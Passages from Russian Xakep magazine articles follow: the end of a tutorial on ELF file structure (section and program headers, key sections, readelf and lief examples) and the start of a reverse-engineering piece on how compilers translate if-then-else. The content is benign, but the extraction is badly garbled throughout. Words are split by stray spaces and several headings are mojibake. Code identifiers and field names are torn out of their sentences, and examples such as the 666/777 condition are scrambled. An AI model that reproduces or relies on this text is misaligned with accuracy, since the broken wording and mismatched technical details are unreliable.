какой-либо струк туры, а пред став лять собой нес трук туриро ван ный блок кода
или дан ных. Каж дая сек ция опи сыва ется сво им заголов ком, который хра нит ся
в таб лице заголов ков сек ций. В заголов ке перечис лены свой ства сек ции,
а так же мес тонахож дение содер жимого самой сек ции в фай ле.

Во обще, если вни матель но пос мотреть спе цифи кацию ELF-фай ла, то
мож но уви деть, что деление на сек ции пред назна чено для орга низа ции
работы ком понов щика, а с точ ки зре ния исполне ния фай ла сек цион ная орга- 
низа ция не несет никакой полез ной информа ции. То есть не нуж дающиеся
в ком понов ке ELF-фай лы (непере меща емые исполня емые фай лы) могут
не иметь таб лицы заголов ков сек ций (и во мно гих слу чаях ее не име ют).
Для заг рузки в память про цес са и выпол нения ELF-фай лов исполь зует ся
еще одна логичес кая орга низа ция — сег мен тная, о которой мы погово рим
ниже. Если в ELF-фай ле нет таб лицы заголов ков сек ций, поле 

в заголов ке будет рав но нулю.

e_shoff

К при меру, если поп робовать вывес ти информа цию о сек циях для нашего
непере меща емо го исполня емо го фай ла, получен ного в начале статьи
из исходни ков при мера Fasm (напом ню, что файл мы наз вали ):example_asm

 readelf -S -W example_asm 

то мы уви дим, что раз дела с таб лицей заголов ков сек ций в этом фай ле нет.

По пыт ка вывес ти таб лицу заголов ков сек ций для исполня емо го непере -
меща емо го ELF-фай ла

Ес ли же мы про изве дем ана логич ную опе рацию с любым дру гим фай лом
из чис ла наших подопыт ных экзем пля ров (к при меру, фай лом ),
то раз дел с таб лицей заголов ков сек ций будет при сутс тво вать.

example_pie

Таб лица заголов ков сек ций в фай ле example_pie

Кста ти, вывес ти информа цию из раз дела заголов ков сек ций мож но и с
помощью Python (сов мес тно с lief), написав при мер но вот такой скрипт:

 import lief

  elf_object = lief.parse('example_pie')
   for section in elf_object.sections:

 
 

print('Section {name} - size: {size} bytes'.format(name=section.
name, size=section.size))

Ис ходя из ска зан ного выше, необ ходимо пом нить, что о сек цион ном пред- 
став лении и орга низа ции ELF-фай ла име ет смысл говорить на эта пе ком- 
понов ки, а при заг рузке фай ла в память про цес са для его пос леду юще го
выпол нения исполь зует ся сег мен тное пред став ление и орга низа ция фай ла.

Çàãîëîâêè ñåêöèé

Итак, как мы выяс нили, в заголов ках сек ций (если в ELF-фай ле есть раз дел
с таб лицей заголов ков сек ций) содер жится информа ция о свой ствах и мес- 
тонахож дении той или иной сек ции. Заголов ки сек ций пред став ляют собой
струк туру, опи сание которой мож но най ти в фай ле  (там

эти струк туры носят име на  и  для 64- и 32-раз рядных
фай лов соот ветс твен но).

/usr/include/elf.h
Elf64_Shdr Elf32_Shdr

Раз берем ся с наз начени ем каж дого из полей этой струк туры:
 — содер жит индекс име ни сек ции (здесь име ется в виду номер

бай та, с которо го начина ется имя сек ции) в таб лице строк, которая,
в свою оче редь, содер жится в сек ции . Дру гими сло вами, все
име на сек ций хра нят ся в спе циаль ной сек ции  (о ней мы уже
говори ли, ког да рас смат ривали заголо вок ELF-фай ла), а в поле 
находит ся зна чение сме щения начала стро ки с име нем сек ции, к которой
отно сит ся дан ный заголо вок, от начала сек ции ;

• sh_name

.shstrtab
.shstrtab

sh_name

sh_strtab
 — тип сек ции, который опре деля ет ее содер жимое. Из всех воз- 

можных типов (а они так же опре деле ны в )
наиболь ший инте рес пред став ляют сле дующие:

• sh_type
/usr/include/elf.h

 — неис поль зуемая (пус тая) сек ция. Сог ласно спе цифи- 
кации, пер вая запись в таб лице заголов ков сек ций дол жна быть имен но
такой (зна чение, как нет рудно догадать ся, рав но );

• SHT_NULL

0x00
 — сек ция содер жит дан ные или код для выпол нения

(зна чение рав но );
• SHT_PROGBITS

0x01
 — сек ция содер жит так называ емую таб лицу ста тичес ких

сим волов (под сим волами в дан ном слу чае понима ются име на фун кций
или перемен ных). Каж дая запись в этой сек ции пред став ляет собой
струк туру  (или  для 32-раз рядных фай лов),
которая опре деле на в . Как пра вило, сек ция
с таб лицей ста тичес ких сим волов носит имя , каж дая запись
в этой сек ции нуж на для сопос тавле ния того или ино го сим вола с мес- 
тонахож дени ем фун кции или перемен ной, имя которой и опре деле но
дан ным сим волом. Все это в подав ляющем боль шинс тве слу чаев нуж- 
но, что бы облегчить отладку прог раммы, а непос редс твен но для выпол- 
нения ELF-фай ла эта сек ция не исполь зует ся (и во мно гих слу чаях пос- 
ле отладки прог раммы ее из фай ла уда ляют с помощью ути литы strip).
Зна чение рав но ;

• SHT_SYMTAB

Elf64_Sym Elf32_Sym
usr/include/elf.h

.symtab

0x02
 — таб лица сим волов, исполь зуемая динами чес ким ком- 

понов щиком при ком понов ке прог раммы (чис ловое зна чение рав но
). Каж дая запись этой сек ции так же пред став ляет собой струк туру

 (или ). Как пра вило, сек ция с таб лицей динами- 
чес ких сим волов носит имя . Более под робно о сек циях 

 и  погово рим чуть поз же;

• SHT_DYNSYM

0x0b
Elf64_Sym Elf32_Sym

.dynsym .
symtab .dynsym

 — в сек циях такого типа хра нят ся стро ки в кодиров ке
ASCII с завер шающим нулем (в час тнос ти, уже зна комая нам сек ция 

 име ет имен но такой тип). Зна чение рав но ;

• SHT_STRTAB
.

shstrtab 0x03
,  — сек ции это го типа содер жат записи о переме- 

щени ях, при чем фор мат каж дой записи опре делен струк турами
 ( ) и  ( ), опять же опи- 

сан ными в . Непос редс твен но с орга низа цией переме щений мы
раз берем ся чуть поз же;

• SHT_REL SHT_RELA

Elf64_Rel Elf32_Rel Elf64_Rela Elf32_Rela
elf.h

 — сек ция это го типа хра нит информа цию, необ ходимую
для динами чес кой ком понов ки (чис ловое зна чение — ). Фор мат
одной записи в такой сек ции опи сыва ется струк турой 
( ) в фай ле ;

• SHT_DYNAMIC
0x06

Elf64_Dyn
Elf32_Dyn elf.h

 — сек ция такого типа не занима ет мес та в фай ле.
По сути, наличие такой сек ции явля ется дирек тивой о выделе нии необ- 
ходимо го количес тва памяти для неини циали зиро ван ных перемен ных
на эта пе заг рузки ELF-фай ла в память и под готов ки его к выпол нению
(обыч но такая сек ция носит имя ). Чис ловое зна чение дан ной кон- 
стан ты рав но ;

• SHT_NOBITS

.bss
0x08

 — содер жит допол нитель ную информа цию о сек ции. Из все го
мно гооб разия зна чений в пер вую оче редь инте рес ны фла ги:

• sh_flags

 — флаг, име ющий зна чение  и говоря щий о том, что
в сек цию воз можна запись дан ных (здесь необ ходимо учи тывать воз- 
можность объ еди нить нес коль ко фла гов пос редс твом опе рации «или»);

• SHF_WRITE 0x01

 — наличие это го фла га говорит о том, что содер жимое
сек ции дол жно быть заг ружено в вир туаль ную память при под готов ке
прог раммы к выпол нению (хотя нуж но пом нить, что ELF-файл заг ружа- 
ется в память с при мене нием сег мен тно го пред став ления фай ла, ну
а сег мент есть не что иное, как объ еди нение нес коль ких сек ций). Чис- 
ловое зна чение рав но ;

• SHF_ALLOC

0x02
 — такой флаг показы вает, что сек ция содер жит

исполня емый код (зна чение рав но );
• SHF_EXECINSTR

0x04
 — эле мен ты дан ных в сек ции с таким фла гом сос тоят

из сим воль ных строк, завер шающих ся нулевым сим волом (зна чение —
);

• SHF_STRINGS

0x20
 — вир туаль ный адрес сек ции. Хоть мы и говори ли, что сек цион- 

ное пред став ление не исполь зует ся при раз мещении фай ла в памяти,
в некото рых слу чаях ком понов щику необ ходимо знать, по каким адре сам
будут раз мещены те или иные учас тки кода или дан ных на эта пе выпол- 
нения, что бы обес печивать переме щения. Для это го и пре дус мотре но
дан ное поле. Если сек ция не дол жна гру зить ся в память при выпол нении
фай ла, то зна чение это го поля рав но нулю;

• sh_addr

 — сме щение сек ции в фай ле (отно ситель но его начала);• sh_offset
 — раз мер сек ции в бай тах;• sh_size
 — содер жит индекс (в таб лице заголов ков сек ций) сек ции,

с которой свя зана дан ная сек ция;
• sh_linc

 — допол нитель ная информа ция о сек ции (зна чение зависит
от типа сек ции);

• sh_info

 — здесь зада ются тре бова ния к вырав ниванию сек ции
в памяти (если содер жит зна чения  или , то вырав нивание
не тре бует ся);

• sh_addralign
0x00 0x01

 — в некото рых сек циях, нап ример таб лице сим волов 
, лежат записи опре делен ных струк тур (к при меру, ),

и для таких сек ций поле содер жит раз мер одной записи сек ции в бай тах.
Если сек ция не отно сит ся к такому виду, то поле содер жит нулевое зна- 
чение.

• sh_entsize .
symtab Elf64_Sym

Íàçíà÷åíèå è ñîäåðæèìîå îñíîâíûõ ñåêöèé

Се год ня мы не будем под робно раз бирать наз начение и струк туру всех воз- 
можных сек ций в ELF-фай ле, их доволь но мно го. На рисун ке с общей струк- 
турой ELF-фай ла перечис лены стан дар тные име на всех воз можных сек ций,
опре делен ных в спе цифи каци ях, в том чис ле и при мени тель но к ABI архи тек- 
туры x86-64. Рас смот рим наибо лее зна чимые с точ ки зре ния пер воначаль- 
ного ана лиза ELF-фай лов сек ции.

Ñåêöèÿ .interp
В этой сек ции лежит путь к динами чес кому ком понов щику, который ком пону ет
ELF-файл при заг рузке его в память и под готав лива ет его к выпол нению.
Динами чес кий ком понов щик содер жит стар товый код, отоб ража ющий раз- 
деля емые биб лиоте ки на адресное прос транс тво заг ружен ного в память ELF-
фай ла. Так же он выпол няет все под готови тель ные эта пы, свя зан ные с раз- 
решени ем ссы лок на фун кции, опре делен ные во внеш них биб лиоте ках. Пос ле
все го это го динами чес кий ком понов щик переда ет управле ние заг ружен ному
при ложе нию. Пос мотреть содер жимое сек ции  мож но сле дующим

обра зом (опция  ути литы  выводит ука зан ную сек цию в стро ковом
пред став лении):

.interp
-p readelf

readelf -p .interp -W example_pie 

Путь к динами чес кому ком понов щику в сек ции .interp фай ла example_pie

Ес ли же мы поп робу ем пос мотреть содер жимое этой сек ции не в исполня- 
емом фай ле, а в раз деля емой биб лиоте ке (один из наших подопыт ных фай-
лов ), то уви дим сле дующую кар тину.libdynamic_example.so

По пыт ка вывес ти сек цию .interp фай ла с раз деля емой биб лиоте кой

На личие (или отсутс твие) сек ции  как раз и явля ется одним из отли- 

чий исполня емо го переме щаемо го фай ла от раз деля емой биб лиоте ки (как
мы отме тили выше, оба этих типа ELF-фай лов име ют зна чение  в поле

 заголов ка). Вто рое отли чие — пра ва на выпол нение у фай ла (те

самые, которые уста нав лива ются коман дой  с парамет ром ).

В подав ляющем боль шинс тве слу чаев в раз деля емой биб лиоте ке нет ни сек- 
ции , ни прав на выпол нение фай ла. Из это го пра вила могут быть

исклю чения. Нап ример, биб лиоте ка с основны ми фун кци ями С  (на

нынеш них сис темах это файл ) впол не запус кает ся и выводит

информа цию о себе.

.interp

ET_DYN
e_type

chmod -x

.interp
libc

libc.so.6

За пуск раз деля емой биб лиоте ки libc

Ñåêöèè  è .init .fini
В сек ции  находит ся код, выпол няющий ся перед запус ком кода,

который начина ется в точ ке вхо да (этот код рас положен в сек ции , и об

этой сек ции мы погово рим ниже). Если дизас сем бли ровать какой-нибудь
ELF-файл (нап ример, исполь зуя objdump) и пос мотреть внутрь этой сек ции,
то мож но уви деть две фун кции:  и .

.init
.text

_init __gmon_start__

Ди зас сем бли рован ная сек ция .init (вид но, что внут ри лежат фун кции _init
и __gmon_start__)

За дача этих фун кций — ини циали зиро вать и попытать ся запус тить про фили- 
ров щик gprof. Что бы эта попыт ка ока залась удач ной и ELF-файл запус тился
под про фили ров щиком, этот файл дол жен быть ском пилиро ван с опци ей .
В дан ном слу чае (если вни матель но пос мотреть на дизас сем бли рован ный
код фун кции) в регис тре  будет находить ся адрес фун кции

, которая и вызовет gprof перед выпол нени ем основно го
кода прог раммы. В про тив ном слу чае в  будет 0, вызова 

и, соот ветс твен но, про фили ров щика, не про изой дет, а выпол нение будет
переда но сра зу на код в сек ции .

-pg

rax
__gmon_start__

rax __gmon_start__

text
Сек ция  содер жит в себе фун кцию , которая выпол няет ся пос- 

ле выпол нения основно го кода прог раммы.
.fini _fini

Ди зас сем бли рован ная сек ция .ni

Ñåêöèÿ .text
Здесь как раз и находит ся весь тот код, ради выпол нения которо го и была
написа на прог рамма и на который ука зыва ет поле  заголов ка ELF-
фай ла. Одна ко если пос мотреть дизас сем бли рован ный лис тинг этой сек ции,
то воп реки ожи дани ям мы уви дим, что по адре су, на который ука зыва ет точ ка
вхо да, лежит не фун кция , а некая фун кция , пос ле которой при- 
сутс тву ет еще нес коль ко фун кций, выпол няющих под готов ку к запус ку прог- 
раммы (нап ример, , 

и ).

e_entry

main() _start

deregister_tm_clones register_tm_clones
frame_dummy

Фун кция  счи тыва ет парамет ры коман дной стро ки (если они есть)
и вызыва ет фун кцию . И уже эта фун кция вызыва ет

на выпол нение фун кцию , где содер жится основной код прог раммы.

_start
__libc_start_main
main()

Ди зас сем бли рован ная сек ция .text

Ñåêöèÿ .data
Сек ция для хра нения ини циали зиро ван ных перемен ных, изме нение которых
воз можно в ходе выпол нения прог раммы (соот ветс твен но, эта сек ция име ет
флаг ).SHF_WRITE

Ñåêöèÿ .rodata
В этой сек ции хра нят ся кон стантные зна чения, то есть зна чения, которые
не под лежат изме нению в ходе выпол нения прог раммы.

Ñåêöèÿ .bss
Сек ция  пред назна чена для неини циали зиро ван ных перемен ных. Если

сек ции  и  име ют тип , эта сек ция, как мы уже
отме чали выше, име ет тип . Дан ная сек ция не занима ет мес то

в ELF-фай ле, пос коль ку и так понят но, что неини циали зиро ван ные перемен- 
ные рав ны нулю, а хра нить эти нули в ELF-фай ле нет никако го смыс ла.

.bss
.data .rodata SHT_PROGBITS

SHT_NOBITS

ÑÅÃÌÅÍÒÍÎÅ ÏÐÅÄÑÒÀÂËÅÍÈÅ ELF-ÔÀÉËÎÂ

Как мы уже говори ли, сег мен тное пред став ление исполь зует ся ком понов- 
щиком при заг рузке ELF-фай ла в про цесс для выпол нения. Этот тип пред- 
став ления дает таб лица заголов ков прог раммы (пов торюсь, если иссле-
дуемый файл не пред назна чен для выпол нения, то эта таб лица может отсутс- 
тво вать). Таб лица заголов ков прог раммы опи сыва ется струк турой

 или  из уже зна комо го нам фай ла 

.

Elf32_Phdr Elf64_Phdr /usr/include/
elf.h

В целом сег мент может вклю чать в себя ноль и более сек ций, то есть объ- 
еди няет сек ции в один блок. Здесь может воз никнуть спра вед ливый воп рос:
почему же тог да в сег менте может быть ноль сек ций? Дело в том, что некото- 
рые типы сег ментов при опи сании их в ELF-фай ле не име ют внут ри себя
никаких сек ций (то есть они пус тые). К при меру, пус тые сек ции име ет заголо- 
вок, с которо го начина ется таб лица заголов ков прог раммы (он самый пер вый
в таб лице и как раз и сиг нализи рует о том, что с это го мес та начина ется таб- 
лица заголов ков), или сег мент, хра нящий информа цию о сте ке (име ет тип
заголов ка ).PT_GNU_STACK

Вы вес ти информа цию о сег ментах мож но сле дующим обра зом:

 readelf -W --segments example_pie 

Вы вод информа ции о сег ментах с помощью readelf

Ес ли пос мотреть вни матель но на рисунок, то вид но, что, помимо самих
заголов ков прог раммы, выводит ся и информа ция о соот ветс твии тому
или ино му сег менту тех или иных сек ций (при этом так же вид но, что в сег- 
ментах с номера ми 00 и 07 сек ции отсутс тву ют).

Итак, основные поля заголов ка прог раммы таковы:
 — это поле опре деля ет тип сег мента. Воз можные зна чения так же

пред став лены в фай ле . Наибо лее важ ные зна- 
чения:

• p_type
/usr/include/elf.h

 — с дан ного заголов ка начина ется таб лица заголов ков прог- 
раммы (как мы уже говори ли, опи сан ный этим заголов ком сег мент пус- 
той);

• PT_HDR

 — сег мент это го типа пред назна чен для заг рузки в память
на эта пе под готов ки про цес са к выпол нению;

• PT_LOAD

 — этот сег мент содер жит сек цию , в которой
лежит имя интер пре тато ра, исполь зуемо го при заг рузке ELF-фай ла;

• PT_INTERP .interp

 — в этом сег менте содер жится сек ция 
с информа цией о динами чес ких свя зях, которая говорит, как раз бирать
и под готав ливать ELF-файл к выпол нению (более под робно об этой
сек ции погово рим в сле дующий раз);

• PT_DYNAMIC .dynamic

 — здесь хра нит ся информа ция о сте ке, которая опре- 
деля ется зна чени ем фла га  и показы вает, что стек не дол жен
исполнять ся (зна чение  рав но  и ). Отсутс твие дан- 
ного сег мента говорит о том, что содер жимое сте ка может быть
исполне но (что, как ты навер няка зна ешь, не есть хорошо);

• PT_GNU_STACK
pt_flags

pt_flags PF_R PF_W

 — опре деля ет пра ва дос тупа к сег менту во вре мя выпол нения
ELF-фай ла (самые глав ные зна чения это го поля:  — чте ние,  —
запись,  — выпол нение);

• p_flags
PF_R PF_W

PF_X
,  и  — зна чения этих полей ана логич ны зна- 

чени ям полей ,  и  в заголов ке сек ции;
• p_offset p_vaddr p_filesz

sh_offset sh_addr sh_size
 — обыч но зна чение это го поля для сов ремен ных вер сий Linux

рав но нулю (хотя изна чаль но здесь хра нил ся адрес в физичес кой памяти,
по которо му дол жен быть заг ружен сег мент);

• p_addr

 — раз мер сег мента в памяти (если вспом нить о наличии сек ции
, которая может вхо дить в сос тав сег мента, то ста нет понят но, почему

раз мер сег мента в фай ле может быть мень ше, чем раз мер сег мента
в памяти);

• p_memsz
.bss

 — это поле ана логич но полю  в заголов ке сек- 
ции.

• p_align sh_addralign

Ну а скрипт на Python (с исполь зовани ем модуля lief) для прос мотра
информа ции о сег ментах ELF-фай ла может выг лядеть при мер но так:

 import lief
   from lief import ELF

  elf_object = lief.parse('example_pie')
  segments = elf_object.segments

   for segment in segments:
   sections = segment.sections
       section_names = ", ".join([section.name for section in sections])

     flags_str = ["-"] * 3
    if ELF.SEGMENT_FLAGS.R in segment:
     flags_str[0] = "R"
    if ELF.SEGMENT_FLAGS.W in segment:
     flags_str[1] = "W"
    if ELF.SEGMENT_FLAGS.X in segment:
     flags_str[2] = "X"
   flags_str = "".join(flags_str)

   print(str(segment.type).split(".")[-1], flags_str, section_names)

ÇÀÊËÞ×ÅÍÈÅ

Этой стать ей мы начали пог ружение во все тон кости фор мата ELF-фай лов.
Мы разоб рались с фор матом заголов ка, с таб лицами заголов ков сек ций
и сег ментов, а так же заг лянули внутрь некото рых из них. Как видишь, отли чия
от PE-фор мата весь ма сущес твен ные, хотя некото рые ана логии все же прос- 
лежива ются. В сле дующий раз мы изу чим более под робно содер жание и наз- 
начение дру гих сек ций, а так же раз берем ся с ком понов кой и свя зыва нием
раз личных фун кций из биб лиотек с исполня емым фай лом.

WWW

По мимо перечис ленных в статье инс тру мен тов,
мож но поп робовать вос поль зовать ся набором
ути лит  (что бы уста новить их, набери в кон- 
соли ).
Еще одна аль тер натива —  (коман да
для уста нов ки — 

).

elfutils
sudo apt install elfutils

pax-utils
sudo apt install pax-

utils

https://sourceware.org/elfutils/
https://wiki.gentoo.org/wiki/Hardened/PaX_Utilities
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ВЗЛОМ

Се год ня мы прис тупим к под робно му изу чению условно го
хода выпол нения прог рамм. Без него невоз можно пред ста- 
вить прог рамми рова ние как таковое. Мы нач нем наше пог- 
ружение с условных опе рато ров  и раз- 
берем ся, как ком пилятор интер пре тиру ет подоб ные конс- 
трук ции.

if — then — else

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Рань ше мы уже встре чались с условным ходом выпол нения прог рамм, одна ко
огра ничи вались корот кими опи сани ями команд и повер хностным раз бором
выпол няемых ими опе раций. Управля емый ход выпол нения, без сом нения,
самая важ ная веха раз вития прог рамми рова ния сво его вре мени и зат мева ет
мно гие пос леду ющие, даже такие, как струк турное прог рамми рова ние
или ООП. Толь ко с высоты высоко уров невого язы ка кажет ся, что в усло вии 

 нет ничего любопыт ного и оно лишено какого-либо раз нооб- 
разия. Но для ком пилято ра это прос тор для самоде ятель нос ти! И в близ ких
по духу ситу ациях он может пос тро ить кар диналь но раз лича ющий ся код.

if
— then — else

В про цес сорной архи тек туре x86 пре дус мотрен весь ма «ори гиналь ный»
набор команд для перенап равле ния хода выпол нения прог рам мно го кода.
«Ори гиналь ный» не зна чит хороший или пло хой, это зна чит, что он отли чает ся
от набора мик ропро цес соров дру гих архи тек тур и про изво дите лей: ARM,
MIPS, SPARC и так далее. Как ты зна ешь, пер вый про цес сор этой серии соз- 
давал ся впо пыхах для вре мен ной замены еще не готово го iAPX-432, пос- 
ледний, в свою оче редь, дол жен был уметь в мно гоза дач ность и управле ние
памятью на аппа рат ном уров не. Чего в ито ге не слу чилось. А x86 про дол жил
свое раз витие. Поэто му сей час, ког да за годы эво люции про цес соров серии
x86 ско пил ся набор инс трук ций, хакерам при ходит ся раз гре бать весь этот
хлам, дабы рас кру тить порядок выпол нения машин ных инс трук ций.

ÈÄÅÍÒÈÔÈÊÀÖÈß ÓÑËÎÂÍÛÕ ÎÏÅÐÀÒÎÐÎÂ

Су щес тву ет два вида алго рит мов — безус ловные и условные. Порядок дей- 
ствий безус ловно го алго рит ма всег да пос тоянен и не зависит от вход ных
дан ных. Нап ример, a = b + c. Порядок дей ствий условных алго рит мов, нап- 
ротив, зависит от дан ных, пос тупа ющих «на вход». Нап ример:

«

»

 c íå ðàâ íî íóëþ, 

: a = b/c; 

: âûâåñ òè ñîîá ùåíèå îá îøèá êå

ес ли
то
ина че

Об рати вни мание на выделен ные жир ным шриф том клю чевые сло ва «если»,
«то» и «ина че», называ емые опе рато рами усло вия или условны ми опе рато- 
рами. Без них не обхо дит ся ни одна прог рамма (вырож денные при меры
наподо бие «Hello, World!» не в счет). Условные опе рато ры — сер дце любого
язы ка прог рамми рова ния. Поэто му чрез вычай но важ но уметь их пра виль но
опре делять.

В общем виде (не углубля ясь в син такси чес кие под робнос ти отдель ных
язы ков) опе ратор усло вия схе матич но изоб ража ется так:

«
»

 (óñëî âèå)  { îïå ðàòîð ; îïå ðàòîð ; }  { îïå ðàòîð ; îïå- 

ðàòîð ; }

IF THEN
1 2

ELSE
a

b

За дача ком пилято ра — пре обра зовать эту конс трук цию в пос ледова тель- 
ность машин ных команд, выпол няющих опе ратор , опе ратор , если усло вие

истинно, и опе ратор , опе ратор  — если оно лож но. Одна ко мик ропро цес- 

соры серии 80x86 под держи вают весь ма скром ный набор условных команд,
огра ничен ный фак тичес ки одни ми условны ми перехо дами. Прог раммис там,
зна комым лишь с IBM PC, такое огра ниче ние не покажет ся чем-то неес тес- 
твен ным, меж ду тем сущес тву ет мас са про цес соров, под держи вающих пре- 
фикс условно го выпол нения инс трук ции. То есть вмес то того, что бы писать

1 2

a b

TEST ECX,ECX 
JNZ xxx 
MOV EAX,0x666 

там пос тупа ют так:

TEST ECX,ECX 
IFZ MOV EAX,0x666 

 и есть пре фикс условно го выпол нения, раз реша ющий выпол нение сле- 
дующей коман ды толь ко в том слу чае, если уста нов лен флаг нуля. В этом
смыс ле мик ропро цес соры 80x86 мож но срав нить с ран ними диалек тами язы- 
ка Basic, не раз реша ющи ми исполь зовать в условных выраже ниях никакой
дру гой опе ратор, кро ме GOTO. Срав ни:

IFZ

Ñòà ðûé äèàëåêò Basic:

10 IF A=B THEN GOTO 30 
20 GOTO 40 
30 PRINT "A=B"
40 ... // Прочий код программы 

Íî âûé äèàëåêò Basic:

IF A=B THEN PRINT "A=B"

Ес ли ты ког да-нибудь прог рамми ровал на ста рых диалек тах Basic, то, веро- 
ятно, пом нишь, что гораз до выгод нее выпол нять , если усло вие лож но,

а в про тив ном слу чае про дол жать нор маль ное выпол нение прог раммы.
Как видишь, воп реки рас хожему мне нию, навыки прог рамми рова ния на Basic
отнюдь не бес полез ны, осо бен но в дизас сем бли рова нии прог рамм.

GOTO

Боль шинс тво ком пилято ров (даже не опти мизи рующих) инверти руют
истинность усло вия, тран сли руя конс трук цию

« »
 (óñëî âèå)  { îïå ðàòîð ; îïå ðàòîð ; }IF THEN

1 2

в сле дующий псев докод:

 

 

IF (NOT усло вие) THEN continue 
опе ратор ; 

опе ратор ; 

continue: 
…

1

2

Сле дова тель но, для вос ста нов ления исходно го тек ста прог раммы нам при- 
дет ся вновь инверти ровать усло вие и «под цепить» блок опе рато ров 

 к клю чево му сло ву . Ина че говоря, если откомпи- 

лиро ван ный код выг лядит так:

{ опе- 
ратор ; опе ратор ; }1 2 THEN

10 IF A<>B THEN 30 
20 PRINT "A=B"
30 ...// Прочий код программы 

мож но с уве рен ностью утвер ждать, что в исходном тек сте при сутс тво вали
стро ки . А если прог раммист, наобо рот, про верял

перемен ные A и B на неравенс тво, то есть в коде при сутс тво вала конс трук ция
? Все рав но ком пилятор инверти рует

истинность усло вия и сге нери рует сле дующий код:

IF A=B THEN PRINT "A=B"

IF A<>B THEN PRINT "A<>B"

10 IF A=B THEN 30 
20 PRINT "A<>B"
30 ... // Прочий код программы 

Ко неч но, встре чают ся и ком пилято ры, стра дающие мно гос лови ем. Их лег ко
рас познать по безус ловно му перехо ду, сле дующе му сра зу же пос ле условно- 
го опе рато ра:

 

 

IF (усло вие) THEN do 
GOTO continue 
do: 
опе ратор ; 

опе ратор ; 

continue: 
…

1

2

В таком слу чае инверти ровать усло вие не нуж но. Впро чем, если это сде лать,
ничего страш ного не про изой дет, раз ве что код прог раммы ста нет менее
понят ным, да и то не всег да.

Рас смот рим теперь, как тран сли рует ся пол ная конс трук ция

«
»

 (óñëî âèå)  { îïå ðàòîð ; îïå ðàòîð ; }  { îïå ðàòîð ; îïå- 

ðàòîð ; }

IF THEN
1 2

ELSE
a

b

Од ни ком пилято ры пос тупа ют так:

 

 

IF (усло вие) THEN do_it 
// Вет ка ELSE 
опе ратор ; 

опе ратор ; 

GOTO continue 
do_it: 
// Вет ка IF 
опе ратор ; 

опе ратор ; 

continue:

a

b

1

2

А дру гие — так:

 

 

IF (NOT усло вие) THEN else 
// Вет ка IF 
опе ратор ; 

опе ратор ; 

GOTO continue 
else: 
// Вет ка ELSE 
опе ратор ; 

опе ратор  

continue:

1

2

a

b

Раз ница меж ду ними в том, что вто рые инверти руют истинность усло вия,
а пер вые — нет. Поэто му, не зная «нра ва» ком пилято ра, опре делить, как выг- 
лядел под линный исходный текст прог раммы, невоз можно! Одна ко это не
соз дает проб лем, ибо усло вие всег да мож но записать так, как это удоб но.
Допус тим, не нра вит ся тебе вот такая конс трук ция:

« »
IF (c <> 0) THEN a = b/c ELSE PRINT "Îøèá êà!"

Пи ши ее так:

« »
IF (c == 0) THEN PRINT "Îøèá êà!" ELSE a = b/c

И никаких гвоз дей!

Продолжение статьи →

mailto:yazevsoft@gmail.com
https://xakep.ru/author/yurembo/
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ПРИ РЕВЕРСИНГЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÈÏÛ ÓÑËÎÂÈÉ

Ус ловия делят ся на  ( ) и  ( ). При мер
пер вых: , вто рых: . Оче вид но,

что любое слож ное усло вие мож но раз ложить на ряд прос тых. Вот с прос тых
усло вий мы и нач нем.

прос тые эле мен тарные слож ные сос тавные
if (a==b) ... if ((a==b) && (a!=0)) ...

Су щес тву ют два основных типа эле мен тарных усло вий: 
 («мень ше», «рав но», «боль ше», «мень ше или рав но», «не рав но»,

«боль ше или рав но», обоз нача ются как , , , , , ) и 
 («И», «ИЛИ», «НЕ», в С-нотации обоз нача ются так: , , ). Еще в

отдель ную катего рию мож но выделить . Их объ еди няют
с , одна ко нес коль ко некор рек тно сме шивать в одну кучу людей
и коней, даже если они чем-то вза имос вязаны.

ус ловия отно- 
шений

< == > <= != >= ло гичес кие усло- 
вия && || !

би товые про вер ки
ло гичес кими

Ес ли усло вие истинно, оно воз вра щает булево зна чение , если лож- 

но — . Внут реннее (физичес кое) пред став ление булевых перемен ных

зависит от кон крет ной реали зации и может быть любым. По общепри нято му
сог лашению  рав но нулю, а   рав но нулю. Час то (но не всег да)

 рав но еди нице, но на это нель зя полагать ся! Так, код 

 абсо лют но кор ректен, а вот  при вязан к кон крет ной
реали зации и потому нежела телен.

TRUE
FALSE

FALSE TRUE íå

TRUE IF ((a>b)!=0) ..
. IF ((a>b)==1) ...

Об рати вни мание:  про веря ет на неравенс тво нулю

отнюдь не зна чения самих перемен ных  и , а имен но резуль тат их срав- 
нения. Рас смот рим сле дующий при мер:

IF ((a>b)!=0) ...
a b

IF 777 0  ((666== )== ) printf("Woozl!");

Как ты дума ешь, что отоб разит ся на экра не, если его запус тить? Пра виль- 
но — ! Почему? Ведь ни 666, ни 777 не рав но нулю! Да, но ведь 

, сле дова тель но, усло вие  лож но, то есть рав но нулю. Кста ти,
если записать , получит ся сов сем иной резуль тат — зна- 

чение перемен ной  будет прис воено перемен ной  и потом про вере но

на равенс тво нулю.

Woozl 666 != 
777 (666==777)

IF ((a=b)==0) ...
b a

Ло гичес кие усло вия чаще все го исполь зуют ся для свя зыва ния двух
или более эле мен тарных усло вий отно шения в сос тавное. Нап ример, 

. При тран сля ции прог раммы ком пилятор всег да

выпол няет раз вер тку сос тавных усло вий в прос тые. В дан ном слу чае это про- 
исхо дит так: . На вто ром эта пе выпол няет ся

замена условных опе рато ров на опе ратор :

IF ((
a==b) && (a!=0)) ...

IF a==b THEN IF a=0 THEN ...
GOTO

IF a != b THEN continue
IF a == 0 THEN continue
... // Код условия 
:continue 
... // Прочий код 

По рядок вычис ления эле мен тарных усло вий в слож ном выраже нии зависит
от при хотей ком пилято ра, гаран тиру ется лишь, что усло вия, «свя зан ные» опе- 
раци ей логичес кого «И», про веря ются сле ва нап раво в поряд ке их объ явле- 
ния в прог рамме. При чем если пер вое усло вие лож но, то сле дующее за ним
вычис лено ! Это дает воз можность писать код наподо бие сле- 

дующе го:  — если

ука затель  ука зыва ет на невыде лен ную область памяти (то есть,
поп росту говоря, содер жит ноль — логичес кое ), фун кция 

